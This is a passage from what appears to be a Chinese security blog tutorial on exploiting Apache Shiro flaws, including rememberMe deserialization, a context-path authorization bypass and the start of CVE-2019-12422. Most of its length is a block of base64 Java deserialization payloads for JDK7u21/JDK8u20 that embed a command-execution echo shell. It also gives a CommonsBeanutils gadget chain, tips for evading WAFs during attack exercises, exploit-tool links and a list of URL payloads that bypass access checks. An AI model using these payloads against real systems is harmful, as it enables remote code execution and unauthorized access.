JpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==", "Jdk7u21":"rO0ABXNyABdqYXZhLnV0aWwuTGlua2VkSGFzaFNldNhs11qV3SoeAgAAeHIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAAB4cHcMAAAAED9AAAAAAAACc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMACEkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFoAFV91c2VTZXJ2aWNlc01lY2hhbmlzbUwAC19hdXhDbGFzc2VzdAA7TGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0hhc2h0YWJsZTtbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAH/////AXB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAPA8r+ur4AAAAyAOkBAAxGb292NGhBMnZ1U1MHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAEUZvb3Y0aEEydnVTUy5qYXZhAQAJd3JpdGVCb2R5AQAXKExqYXZhL2xhbmcvT2JqZWN0O1tCKVYBACRvcmcuYXBhY2hlLnRvbWNhdC51dGlsLmJ1Zi5CeXRlQ2h1bmsIAAkBAA9qYXZhL2xhbmcvQ2xhc3MHAAsBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwADQAOCgAMAA8BAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DAARABIKAAwAEwEACHNldEJ5dGVzCAAVAQACW0IHABcBABFqYXZhL2xhbmcvSW50ZWdlcgcAGQEABFRZUEUBABFMamF2YS9sYW5nL0NsYXNzOwwAGwAcCQAaAB0BABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAB8AIAoADAAhAQAGPGluaXQ+AQAEKEkpVgwAIwAkCgAaACUBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHACcBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMACkAKgoAKAArAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAAtAC4KAAQALwEAB2RvV3JpdGUIADEBAAlnZXRNZXRob2QMADMAIAoADAA0AQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcANgEAE2phdmEubmlvLkJ5dGVCdWZmZXIIADgBAAR3cmFwCAA6AQAEQ29kZQEACkV4Y2VwdGlvbnMBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwA+AQANU3RhY2tNYXBUYWJsZQEABWdldEZWAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DABDAEQKAAwARQEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcARwEADWdldFN1cGVyY2xhc3MMAEkALgoADABKAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAjAEwKAEgATQEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QHAE8BAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwAUQBSCgBQAFMBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAcAVQEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DABXAFgKAFYAWQEAEGphdmEvbGFuZy9TdHJpbmcHAFsBAAMoKVYMACMAXQoABABeAQAQamF2YS9sYW5nL1RocmVhZAcAYAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwwAYgBjCgBhAGQBAA5nZXRUaHJlYWRHcm91cAEAGSgpTGphdmEvbGFuZy9UaHJlYWRHcm91cDsMAGYAZwoAYQBoAQAHdGhyZWFkcwgAagwAQQBCCgACAGwBABNbTGphdmEvbGFuZy9UaHJlYWQ7BwBuAQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7DABwAHEKAGEAcgEABGV4ZWMIAHQBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwAdgB3CgBcAHgBAARodHRwCAB6AQAGdGFyZ2V0CAB8AQASamF2YS9sYW5nL1J1bm5hYmxlBwB+AQAGdGhpcyQwCACAAQAHaGFuZGxlcggAggEABmdsb2JhbAgAhAEACnByb2Nlc3NvcnMIAIYBAA5qYXZhL3V0aWwvTGlzdAcAiAEABHNpemUBAAMoKUkMAIoAiwsAiQCMAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7DABXAI4LAIkAjwEAA3JlcQgAkQEAC2dldFJlc3BvbnNlCACTAQAJZ2V0SGVhZGVyCACVAQAIVGVzdGVjaG8IAJcBAAdpc0VtcHR5AQADKClaDACZAJoKAFwAmwEACXNldFN0YXR1cwgAnQEACWFkZEhlYWRlcggAnwEAB1Rlc3RjbWQIAKEBAAdvcy5uYW1lCACjAQAQamF2YS9sYW5nL1N5c3RlbQcApQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMAKcAqAoApgCpAQALdG9Mb3dlckNhc2UMAKsAcQoAXACsAQAGd2luZG93CACuAQAHY21kLmV4ZQgAsAEAAi9jCACyAQAHL2Jpbi9zaAgAtAEAAi1jCAC2AQARamF2YS91dGlsL1NjYW5uZXIHALgBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIHALoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWDAAjALwKALsAvQEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAC/AMAKALsAwQEAEWphdmEvbGFuZy9Qcm9jZXNzBwDDAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwwAxQDGCgDEAMcBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMACMAyQoAuQDKAQACXEEIAMwBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMAM4AzwoAuQDQAQAEbmV4dAwA0gBxCgC5ANMBAAhnZXRCeXRlcwEABCgpW0IMANUA1goAXADXDAAHAAgKAAIA2QEADWdldFByb3BlcnRpZXMBABgoKUxqYXZhL3V0aWwvUHJvcGVydGllczsMANsA3AoApgDdAQATamF2YS91dGlsL0hhc2h0YWJsZQcA3wEACHRvU3RyaW5nDADhAHEKAOAA4gEAE1tMamF2YS9sYW5nL1N0cmluZzsHAOQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwDmCgDnAF4AIQACAOcAAAAAAAMACgAHAAgAAgA8AAAA3AAIAAUAAACxEgq4ABBOLbYAFE0tEhYGvQAMWQMSGFNZBLIAHlNZBbIAHlO2ACIsBr0ABFkDK1NZBLsAGlkDtwAmU1kFuwAaWSu+twAmU7YALFcqtgAwEjIEvQAMWQMtU7YANSoEvQAEWQMsU7YALFenAEg6BBI5uAAQTi0SOwS9AAxZAxIYU7YAIi0EvQAEWQMrU7YALE0qtgAwEjIEvQAMWQMtU7YANSoEvQAEWQMsU7YALFenAAOxAAEAAABoAGsANwABAEAAAAARAAL3AGsHADf9AEQHAAQHAAwAPQAAAAQAAQA/AAoAQQBCAAIAPAAAAH4AAwAFAAAAPwFNKrYAME6nABktK7YARk2nABanAAA6BC22AEtOpwADLRIEpv/nLAGmAAy7AEhZK7cATr8sBLYAVCwqtgBasAABAAoAEwAWAEgAAQBAAAAAJQAG/QAKBwBWBwAMCP8AAgAEBwAEBwBcBwBWBwAMAAEHAEgJBQ0APQAAAAQAAQA/AAEAIwBdAAIAPAAAAzYACAANAAACPyq3AOgDNgS4AGW2AGkSa7gAbcAAbzoFAzYGFQYZBb6iAh8ZBRUGMjoHGQcBpgAGpwIJGQe2AHNOLRJ1tgB5mgAMLRJ7tgB5mgAGpwHuGQcSfbgAbUwrwQB/mgAGpwHcKxKBuABtEoO4AG0ShbgAbUynAAs6CKcBw6cAACsSh7gAbcAAiToJAzYKFQoZCbkAjQEAogGeGQkVCrkAkAIAOgsZCxKSuABtTCu2ADASlAO9AAy2ADUrA70ABLYALE0rtgAwEpYEvQAMWQMSXFO2ADUrBL0ABFkDEphTtgAswABcTi0BpQAKLbYAnJkABqcAWCy2ADASngS9AAxZA7IAHlO2ADUsBL0ABFkDuwAaWREAyLcAJlO2ACxXLLYAMBKgBb0ADFkDElxTWQQSXFO2ADUsBb0ABFkDEphTWQQtU7YALFcENgQrtgAwEpYEvQAMWQMSXFO2ADUrBL0ABFkDEqJTtgAswABcTi0BpQAKLbYAnJkABqcAjSy2ADASngS9AAxZA7IAHlO2ADUsBL0ABFkDuwAaWREAyLcAJlO2ACxXEqS4AKq2AK0Sr7YAeZkAGAa9AFxZAxKxU1kEErNTWQUtU6cAFQa9AFxZAxK1U1kEErdTWQUtUzoMLLsAuVm7ALtZGQy3AL62AMK2AMi3AMsSzbYA0bYA1LYA2LgA2gQ2BC0BpQAKLbYAnJkACBUEmgAGpwAQLLgA3rYA47YA2LgA2hUEmQAGpwAJhAoBp/5cFQSZAAanAAmEBgGn/d+xAAEAXwBwAHMAPwABAEAAAADdABn/ABoABwcAAgAAAAEHAG8BAAD8ABcHAGH/ABcACAcAAgAABwBcAQcAbwEHAGEAAAL/ABEACAcAAgcABAAHAFwBBwBvAQcAYQAAUwcAPwT/AAIACAcAAgcABAAHAFwBBwBvAQcAYQAA/gANAAcAiQH/AGMADAcAAgcABAcABAcAXAEHAG8BBwBhAAcAiQEHAAQAAAL7AFQuAvsATVEHAOUpCwQCDAf/AAUACwcAAgcABAAHAFwBBwBvAQcAYQAHAIkBAAD/AAcACAcAAgAAAAEHAG8BBwBhAAD6AAUAPQAAAAQAAQA/AAEABQAAAAIABnB0AANhYmNzcgAUamF2YS51dGlsLlByb3BlcnRpZXM5EtB6cDY+mAIAAUwACGRlZmF1bHRzcQB+AAh4cgATamF2YS51dGlsLkhhc2h0YWJsZRO7DyUhSuS4AwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAh3CAAAAAsAAAAAeHB3AQB4c30AAAABAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAXQACGY1YTVhNjA4cQB+AAl4dnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHg=", "Jdk8u20":"rO0ABXNyABdqYXZhLnV0aWwuTGlua2VkSGFzaFNldNhs11qV3SoeAgAAeHIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAABzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAFSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WgAVX3VzZVNlcnZpY2VzTWVjaGFuaXNtWwAKX2J5dGVjb2Rlc3QAA1tbQkwABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7eHAAAAAB/////wF1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAPA8r+ur4AAAAyAOkBAAxGb29veTZhOTVuNkYHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAEUZvb295NmE5NW42Ri5qYXZhAQAJd3JpdGVCb2R5AQAXKExqYXZhL2xhbmcvT2JqZWN0O1tCKVYBACRvcmcuYXBhY2hlLnRvbWNhdC51dGlsLmJ1Zi5CeXRlQ2h1bmsIAAkBAA9qYXZhL2xhbmcvQ2xhc3MHAAsBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwADQAOCgAMAA8BAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DAARABIKAAwAEwEACHNldEJ5dGVzCAAVAQACW0IHABcBABFqYXZhL2xhbmcvSW50ZWdlcgcAGQEABFRZUEUBABFMamF2YS9sYW5nL0NsYXNzOwwAGwAcCQAaAB0BABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAB8AIAoADAAhAQAGPGluaXQ+AQAEKEkpVgwAIwAkCgAaACUBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHACcBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMACkAKgoAKAArAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAAtAC4KAAQALwEAB2RvV3JpdGUIADEBAAlnZXRNZXRob2QMADMAIAoADAA0AQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcANgEAE2phdmEubmlvLkJ5dGVCdWZmZXIIADgBAAR3cmFwCAA6AQAEQ29kZQEACkV4Y2VwdGlvbnMBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwA+AQANU3RhY2tNYXBUYWJsZQEABWdldEZWAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DABDAEQKAAwARQEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcARwEADWdldFN1cGVyY2xhc3MMAEkALgoADABKAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAjAEwKAEgATQEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QHAE8BAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwAUQBSCgBQAFMBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAcAVQEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DABXAFgKAFYAWQEAEGphdmEvbGFuZy9TdHJpbmcHAFsBAAMoKVYMACMAXQoABABeAQAQamF2YS9sYW5nL1RocmVhZAcAYAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwwAYgBjCgBhAGQBAA5nZXRUaHJlYWRHcm91cAEAGSgpTGphdmEvbGFuZy9UaHJlYWRHcm91cDsMAGYAZwoAYQBoAQAHdGhyZWFkcwgAagwAQQBCCgACAGwBABNbTGphdmEvbGFuZy9UaHJlYWQ7BwBuAQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7DABwAHEKAGEAcgEABGV4ZWMIAHQBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwAdgB3CgBcAHgBAARodHRwCAB6AQAGdGFyZ2V0CAB8AQASamF2YS9sYW5nL1J1bm5hYmxlBwB+AQAGdGhpcyQwCACAAQAHaGFuZGxlcggAggEABmdsb2JhbAgAhAEACnByb2Nlc3NvcnMIAIYBAA5qYXZhL3V0aWwvTGlzdAcAiAEABHNpemUBAAMoKUkMAIoAiwsAiQCMAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7DABXAI4LAIkAjwEAA3JlcQgAkQEAC2dldFJlc3BvbnNlCACTAQAJZ2V0SGVhZGVyCACVAQAIVGVzdGVjaG8IAJcBAAdpc0VtcHR5AQADKClaDACZAJoKAFwAmwEACXNldFN0YXR1cwgAnQEACWFkZEhlYWRlcggAnwEAB1Rlc3RjbWQIAKEBAAdvcy5uYW1lCACjAQAQamF2YS9sYW5nL1N5c3RlbQcApQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMAKcAqAoApgCpAQALdG9Mb3dlckNhc2UMAKsAcQoAXACsAQAGd2luZG93CACuAQAHY21kLmV4ZQgAsAEAAi9jCACyAQAHL2Jpbi9zaAgAtAEAAi1jCAC2AQARamF2YS91dGlsL1NjYW5uZXIHALgBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIHALoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWDAAjALwKALsAvQEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAC/AMAKALsAwQEAEWphdmEvbGFuZy9Qcm9jZXNzBwDDAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwwAxQDGCgDEAMcBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMACMAyQoAuQDKAQACXEEIAMwBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMAM4AzwoAuQDQAQAEbmV4dAwA0gBxCgC5ANMBAAhnZXRCeXRlcwEABCgpW0IMANUA1goAXADXDAAHAAgKAAIA2QEADWdldFByb3BlcnRpZXMBABgoKUxqYXZhL3V0aWwvUHJvcGVydGllczsMANsA3AoApgDdAQATamF2YS91dGlsL0hhc2h0YWJsZQcA3wEACHRvU3RyaW5nDADhAHEKAOAA4gEAE1tMamF2YS9sYW5nL1N0cmluZzsHAOQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwDmCgDnAF4AIQACAOcAAAAAAAMACgAHAAgAAgA8AAAA3AAIAAUAAACxEgq4ABBOLbYAFE0tEhYGvQAMWQMSGFNZBLIAHlNZBbIAHlO2ACIsBr0ABFkDK1NZBLsAGlkDtwAmU1kFuwAaWSu+twAmU7YALFcqtgAwEjIEvQAMWQMtU7YANSoEvQAEWQMsU7YALFenAEg6BBI5uAAQTi0SOwS9AAxZAxIYU7YAIi0EvQAEWQMrU7YALE0qtgAwEjIEvQAMWQMtU7YANSoEvQAEWQMsU7YALFenAAOxAAEAAABoAGsANwABAEAAAAARAAL3AGsHADf9AEQHAAQHAAwAPQAAAAQAAQA/AAoAQQBCAAIAPAAAAH4AAwAFAAAAPwFNKrYAME6nABktK7YARk2nABanAAA6BC22AEtOpwADLRIEpv/nLAGmAAy7AEhZK7cATr8sBLYAVCwqtgBasAABAAoAEwAWAEgAAQBAAAAAJQAG/QAKBwBWBwAMCP8AAgAEBwAEBwBcBwBWBwAMAAEHAEgJBQ0APQAAAAQAAQA/AAEAIwBdAAIAPAAAAzYACAANAAACPyq3AOgDNgS4AGW2AGkSa7gAbcAAbzoFAzYGFQYZBb6iAh8ZBRUGMjoHGQcBpgAGpwIJGQe2AHNOLRJ1tgB5mgAMLRJ7tgB5mgAGpwHuGQcSfbgAbUwrwQB/mgAGpwHcKxKBuABtEoO4AG0ShbgAbUynAAs6CKcBw6cAACsSh7gAbcAAiToJAzYKFQoZCbkAjQEAogGeGQkVCrkAkAIAOgsZCxKSuABtTCu2ADASlAO9AAy2ADUrA70ABLYALE0rtgAwEpYEvQAMWQMSXFO2ADUrBL0ABFkDEphTtgAswABcTi0BpQAKLbYAnJkABqcAWCy2ADASngS9AAxZA7IAHlO2ADUsBL0ABFkDuwAaWREAyLcAJlO2ACxXLLYAMBKgBb0ADFkDElxTWQQSXFO2ADUsBb0ABFkDEphTWQQtU7YALFcENgQrtgAwEpYEvQAMWQMSXFO2ADUrBL0ABFkDEqJTtgAswABcTi0BpQAKLbYAnJkABqcAjSy2ADASngS9AAxZA7IAHlO2ADUsBL0ABFkDuwAaWREAyLcAJlO2ACxXEqS4AKq2AK0Sr7YAeZkAGAa9AFxZAxKxU1kEErNTWQUtU6cAFQa9AFxZAxK1U1kEErdTWQUtUzoMLLsAuVm7ALtZGQy3AL62AMK2AMi3AMsSzbYA0bYA1LYA2LgA2gQ2BC0BpQAKLbYAnJkACBUEmgAGpwAQLLgA3rYA47YA2LgA2hUEmQAGpwAJhAoBp/5cFQSZAAanAAmEBgGn/d+xAAEAXwBwAHMAPwABAEAAAADdABn/ABoABwcAAgAAAAEHAG8BAAD8ABcHAGH/ABcACAcAAgAABwBcAQcAbwEHAGEAAAL/ABEACAcAAgcABAAHAFwBBwBvAQcAYQAAUwcAPwT/AAIACAcAAgcABAAHAFwBBwBvAQcAYQAA/gANAAcAiQH/AGMADAcAAgcABAcABAcAXAEHAG8BBwBhAAcAiQEHAAQAAAL7AFQuAvsATVEHAOUpCwQCDAf/AAUACwcAAgcABAAHAFwBBwBvAQcAYQAHAIkBAAD/AAcACAcAAgAAAAEHAG8BBwBhAAD6AAUAPQAAAAQAAQA/AAEABQAAAAIABnQAA2FiY3cBAHhzcgApamF2YS5iZWFucy5iZWFuY29udGV4dC5CZWFuQ29udGV4dFN1cHBvcnS8SCDwkY+5DAMAAUkADHNlcmlhbGl6YWJsZXhyAC5qYXZhLmJlYW5zLmJlYW5jb250ZXh0LkJlYW5Db250ZXh0Q2hpbGRTdXBwb3J0V9TvxwTcciUDAAFMABRiZWFuQ29udGV4dENoaWxkUGVlcnQAKUxqYXZhL2JlYW5zL2JlYW5jb250ZXh0L0JlYW5Db250ZXh0Q2hpbGQ7eHBxAH4ADngAAAABc3IAMnN1bi5yZWZsZWN0LmFubm90YXRpb24uQW5ub3RhdGlvbkludm9jYXRpb25IYW5kbGVyVcr1DxXLfqUDAAJMAAxtZW1iZXJWYWx1ZXN0AA9MamF2YS91dGlsL01hcDtMAAR0eXBldAARTGphdmEvbGFuZy9DbGFzczt4cHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAIZjVhNWE2MDhxAH4ABXh2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAMAAHhwdwQAAAAAeHhwdwwAAAAQP0AAAAAAAAJxAH4ABXN9AAAAAQAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXN4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBxAH4AEng="}
具体细节可以参考:https://cloud.tencent.com/developer/article/1848169
测试如下:
最开始的时候,利用一键利用工具发现可以命令执行(当时是没有引入cc依赖的),但是利用链上是显示利用的Commons Beanutils
链,那么下面就分析下这个Commons Beanutils
链为什么可以利用成功,前面有截图说明了Shiro是自带Apache Commons Beanutils
这个包的,那么能触发反序列化,就离不开这个包的一些功能特性:
Commons Beanutils
是应用于JavaBean
的工具
而Commons Beanutils
中提供了一个静态方法 PropertyUtils.getProperty
,让使用者可以直接调用任意JavaBean
的getter
方法。
比如一个类User
是个JavaBean
,它有个name
属性,则PropertyUtils.getProperty(new Usesr(),"name")
则会调用它的getName()
方法。
在构造cc链中有遇过TemplateImpl
类,它有一个getOutputProperties
方法可以触发字节码加载,如果我们可以通过反序列化的点直接或间接让其调用PropertyUtils.getProperty(new TemplateImpl(),"OutputProperties")
,那就可以RCE。
在commons-beanutils-1.7.0.jar!\org\apache\commons\beanutils\BeanComparator.class
中存在一个compare
方法,这个compare
方法可以自动调用PropertyUtils.getProperty
方法,看到compare
方法是不是感觉在cc链中碰到过,因此这里可以拼接上cc2链的前半段使其走到compare
方法,触发RCE
整个调用链如下:
1 2 3 4 5 6 7 8 9 10 11 12 Gadget chain: PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() BeanComparator.compare() TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() TransletClassLoader.defineClass() newInstance() Runtime.getRuntime().exec("calc.exe")
还是在前面的漏洞利用工具上,利用链显示的是CommonsBeanutils183
,这里的183表示的是cb的版本号,如果碰到cb链反序列化失败的情况,那就有可能是工具中的cb的版本和漏洞环境的不一致,导致的反序列化失败,失败的原因可能是 serialVersionUID
的问题,可以参考:https://blog.csdn.net/whq12789/article/details/88031965
在打hvv期间,碰到很多存在shiro的站,但是上工具探测密钥和利用链的时候可能回碰到被WAF拦截的情况,那这个时候我们有没有可以绕过的办法呢,可以参考如下几点:
修改请求方式,如修改GET/POST,使用未知HTTP请求绕过,如AAA
在payload中添加特殊字符,比如空格,tab,^,………..,%%%%
将请求方式和rememberMe修改为其他字符串
具体的细节可以参考:https://mp.weixin.qq.com/s/m6eHtxGTMK4igNQcMpqxaw
在实战中我们使用工具会加快我们的效率,有很多优秀的利用工具可以使用:
https://github.com/Ares-X/shiro-exploit
https://github.com/SummerSec/ShiroAttack2
https://github.com/j1anFen/shiro_attack
https://github.com/pmiaowu/BurpShiroPassiveScan
漏洞修复 Shiro 在 1.2.5 的更新 Commit-4d5bb00 中针对此漏洞进行了修复,应用程序需要用户手动配置一个 cipherKey,如果不设置,将会生成一个新 key。但是如果cipherKey泄露给攻击者,那么还是会存在遭受反序列化攻击的可能。
CVE-2016-6802 漏洞信息
漏洞复现 接着用CVE-2010-3863的环境,改下shiro的依赖防止和CVE-2010-3863漏洞的利用重复了,因为这个漏洞涉及项目路径,所以在springboot的配置文件中配置下项目访问的路径:
1 server.servlet.context-path=/myshiro
配置好后,访问/myshiro/secret.html
显示302跳转登录
利用poc绕过权限校验,访问/x/../myshiro/secret.html
绕过成功
一般碰到权限校验的我都会用下我的字典跑下,看看有没有其他的payload可以绕过:
整理下可用的payload,其实和CVE-2010-3863的payload差不多
1 2 3 4 5 6 7 8 /;/myshiro/secret.html /./myshiro/secret.html /a.ico/../myshiro/secret.html /%2e/myshiro/secret.html /%3b/../myshiro/secret.html /;%09/myshiro/secret.html /;%09../myshiro/secret.html /;%2F../myshiro/secret.html
看到payload应该就大致明白漏洞点在哪了,CVE-2010-3863的问题是出在requestURI剔除contextPath之后的路径没有做路径标准化处理;而本次漏洞就是处在contextPath的路径没有做路径标准化处理。
漏洞分析 还是回到WebUtils#getPathWithinApplication
方法,跟进getContextPath
方法
调用HttpServletRequestWrapper#getContextPath
方法获取contextPath
继续一路跟进来到tomcat-embed-core-9.0.65.jar!\org\apache\catalina\connector\Request.class#getContextPath
方法
首先会获取第二个 “/“的位置,然后进行截取比如:/x/../myshiro/secret.html
截取得到 /x
,然后做路径标准化处理(做法如CVE-2010-3863的处理),这里可以看到的出来它会循环获取”/“的位置,下一次就是截取到 /x/..
然后将截取到的路径 /x
与 context path
进行比对,这里 context path
即为项目路径 /myshiro
, /x
和 /myshiro
发现不匹配,就会获取下一个”/“的位置,即上面的 /x/..
,然后继续匹配
最后当截取的路径为 /x/../myshiro
经过路径标准化处理后得到 /myshiro
与之匹配,然后返回 uri.substring(0, pos)
的结果即为 /x/../myshiro
返回之后回到getPathWithinApplication
方法中,判断requestUri
的开头是否是contextPath
,显然是false
,直接返回requestUri
而后与pathPattern进行匹配,最后匹配不上就走的/**
规则
漏洞修复 Shiro 在 1.3.2 版本更新中 Commit-b15ab92 中针对此漏洞进行了修复。修复方式和 CVE-2010-3863 一样,使用路径标准化方法 normalize
来处理 Context Path。
CVE-2019-12422 漏洞信息
漏洞复现 环境用的是这位师傅的 https://github.com/inspiringz/Shiro-721/tree/master/Docker,搭建好后访问得到如下:
